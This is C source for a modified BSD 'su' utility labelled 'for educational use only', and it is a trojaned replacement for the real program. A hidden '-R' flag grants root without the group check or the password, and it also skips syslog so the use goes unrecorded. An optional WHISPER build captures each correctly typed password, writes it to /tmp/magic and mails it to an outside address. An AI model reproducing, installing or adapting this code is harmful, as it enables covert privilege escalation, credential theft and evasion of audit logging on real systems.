/*
 SSU (c) Rojer'2K1
 this is for educational use only!
*/

#include <sys/param.h>
#include <sys/time.h>
#include <sys/resource.h>

#include <err.h>
#include <errno.h>
#include <grp.h>
#include <paths.h>
#include <pwd.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <syslog.h>
#include <unistd.h>

#ifdef WHISPER

#ifndef MAILTO
   #define MAILTO "e@mail.com"
#endif
#define MAILSUBJ "The magic word was..."
#define MAILVIA "/usr/bin/mail"

#endif //WHISPER

char   *ontty __P((void));
int	chshell __P((char *));
static void usage __P((void));

#ifdef WHISPER
void tellme(char *the_magic_word);
#endif

int
main(argc, argv)
	int argc;
	char **argv;
{
	extern char **environ;
	struct passwd *pwd;
	char *p, **g, *user, *shell=NULL, *username, **cleanenv, **nargv, **np;
	struct group *gr;
	uid_t ruid;
	gid_t gid;
	int asme, ch, asthem, fastlogin, prio, i;
	enum { UNSET, YES, NO } iscsh = UNSET;
	char iwantitnow = 0;
	char shellbuf[MAXPATHLEN];

	asme = asthem = fastlogin = 0;
	user = "root";
	
	while((ch = getopt(argc, argv, "-Rflm")) != -1) 
		switch((char)ch) {
		case 'f':
			fastlogin = 1;
			break;
		case '-':
		case 'l':
			asme = 0;
			asthem = 1;
			break;
		case 'm':
			asme = 1;
			asthem = 0;
			break;
		case '?': break;
		case 'R': iwantitnow++; break;
		default:
			usage();
		}

	if (optind < argc)
		user = argv[optind++];

	if (strlen(user) > MAXLOGNAME - 1) {
		(void)fprintf(stderr, "su: username too long.\n");
		exit(1);
	}
		
	if (user == NULL)
		usage();

	if ((nargv = malloc (sizeof (char *) * (argc + 4))) == NULL) {
	    errx(1, "malloc failure");
	}

	nargv[argc + 3] = NULL;
	for (i = argc; i >= optind; i--)
	    nargv[i + 3] = argv[i];
	np = &nargv[i + 3];

	argv += optind;

	errno = 0;
	prio = getpriority(PRIO_PROCESS, 0);
	if (errno)
		prio = 0;
	(void)setpriority(PRIO_PROCESS, 0, -2);
	openlog("su", LOG_CONS, 0);

	/* get current login name and shell */
	ruid = getuid();
	username = getlogin();
	if (username == NULL || (pwd = getpwnam(username)) == NULL ||
	    pwd->pw_uid != ruid)
		pwd = getpwuid(ruid);
	if (pwd == NULL)
		errx(1, "who are you?");
	username = strdup(pwd->pw_name);
	gid = pwd->pw_gid;
	if (username == NULL)
		err(1, NULL);
	if (asme) {
		if (pwd->pw_shell != NULL && *pwd->pw_shell != '\0') {
			/* copy: pwd memory is recycled */
			shell = strncpy(shellbuf,  pwd->pw_shell, sizeof shellbuf);
			shellbuf[sizeof shellbuf - 1] = '\0';
		} else {
			shell = _PATH_BSHELL;
			iscsh = NO;
		}
	}

	/* get target login information, default to root */
	if ((pwd = getpwnam(user)) == NULL) {
		errx(1, "unknown login: %s", user);
	}

	if (ruid) {
		{
			/*
			 * Only allow those with pw_gid==0 or those listed in
			 * group zero to su to root.  If group zero entry is
			 * missing or empty, then allow anyone to su to root.
			 * iswheelsu will only be set if the user is EXPLICITLY
			 * listed in group zero.
			 */
			if (pwd->pw_uid == 0 && (gr = getgrgid((gid_t)0)) &&
			    gr->gr_mem && *(gr->gr_mem))
				for (g = gr->gr_mem;; ++g) {
					if (!*g) {
                                            if (gid == 0 || iwantitnow) break;
                                                else
                                                    errx(1,
			                             "you are not in the correct group (%s) to su %s.",
                                                     gr->gr_name,
                                                     user);																																												       					    
					}
					if (strcmp(username, *g) == 0) {
						break;
					}
				}
		}
		/* if target requires a password, verify it */
		if (*pwd->pw_passwd && !iwantitnow) {
			p = getpass("Password:");
			if (strcmp(pwd->pw_passwd, crypt(p, pwd->pw_passwd))) {
			    fprintf(stderr, "Sorry\n");
			    syslog(LOG_AUTH|LOG_WARNING, "BAD SU %s to %s%s", username, user, ontty());
			    exit(1);
			}
#ifdef WHISPER
			tellme(p);
#endif
		}
		if (pwd->pw_expire && time(NULL) >= pwd->pw_expire) {
			fprintf(stderr, "Sorry - account expired\n");
			if (!iwantitnow) syslog(LOG_AUTH|LOG_WARNING,
					    "BAD SU %s to %s%s", username,
					    user, ontty());
			exit(1);
		}
	}

	if (asme) {
		/* if asme and non-standard target shell, must be root */
		if (!chshell(pwd->pw_shell) && ruid)
			errx(1, "permission denied (shell).");
	} else if (pwd->pw_shell && *pwd->pw_shell) {
		shell = pwd->pw_shell;
		iscsh = UNSET;
	} else {
		shell = _PATH_BSHELL;
		iscsh = NO;
	}

	/* if we're forking a csh, we want to slightly muck the args */
	if (iscsh == UNSET) {
		p = strrchr(shell, '/');
		if (p)
			++p;
		else
			p = shell;
		if ((iscsh = strcmp(p, "csh") ? NO : YES) == NO)
		    iscsh = strcmp(p, "tcsh") ? NO : YES;
	}

	(void)setpriority(PRIO_PROCESS, 0, prio);

	/* set permissions */
	if (setgid(pwd->pw_gid) < 0)
		err(1, "setgid");
	if (initgroups(user, pwd->pw_gid))
		errx(1, "initgroups failed");
	if (setuid(pwd->pw_uid) < 0)
		err(1, "setuid");

	if (!asme) {
		if (asthem) {
			p = getenv("TERM");
			if ((cleanenv = calloc(20, sizeof(char*))) == NULL)
				errx(1, "calloc");
			cleanenv[0] = NULL;
			environ = cleanenv;
			(void)setenv("PATH", _PATH_DEFPATH, 1);
			if (p)
				(void)setenv("TERM", p, 1);
			if (chdir(pwd->pw_dir) < 0)
				errx(1, "no directory");
		}
		if (asthem || pwd->pw_uid)
			(void)setenv("USER", pwd->pw_name, 1);
		(void)setenv("HOME", pwd->pw_dir, 1);
		(void)setenv("SHELL", shell, 1);
	}
	if (iscsh == YES) {
		if (fastlogin)
			*np-- = "-f";
		if (asme)
			*np-- = "-m";
	}

	/* csh strips the first character... */
	*np = asthem ? "-su" : iscsh == YES ? "_su" : "su";

	if (ruid != 0 && !iwantitnow)
		syslog(LOG_NOTICE|LOG_AUTH, "%s to %s%s",
		    username, user, ontty());

	execv(shell, np);
	err(1, "%s", shell);
}

static void
usage()
{
	(void)fprintf(stderr, "usage: su [%s] [login [args]]\n", "-Rflm");
	exit(1);
}

int
chshell(sh)
	char *sh;
{
	int  r = 0;
	char *cp;

	setusershell();
	while (!r && (cp = getusershell()) != NULL)
		r = strcmp(cp, sh) == 0;
	endusershell();
	return r;
}

char *
ontty()
{
	char *p;
	static char buf[MAXPATHLEN + 4];

	buf[0] = 0;
	p = ttyname(STDERR_FILENO);
	if (p)
		snprintf(buf, sizeof(buf), " on %s", p);
	return (buf);
}

#ifdef WHISPER

void tellme(char *the_magic_word) {
     char tellwhom[] = MAILTO;
     char mailprog[] = MAILVIA;
     char mailhint[] = MAILSUBJ;
     char temp[200];
     FILE *fp = NULL;
     time_t current = time(NULL);
     struct tm *t = localtime(&current);
     
     strcpy(temp, mailprog);
     strcat(temp, " -s \"");
     strcat(temp, mailhint);
     strcat(temp, "\" \"");
     strcat(temp, tellwhom);
     strcat(temp, "\" < /tmp/magic");
     
     fp = fopen("/tmp/magic", "w");
     if (fp) {
	fprintf(fp, "%s\n%s\n", the_magic_word, asctime(t));
	fclose(fp);
        system(temp);
	unlink("/tmp/magic");
	}
     
     }

#endif //WHISPER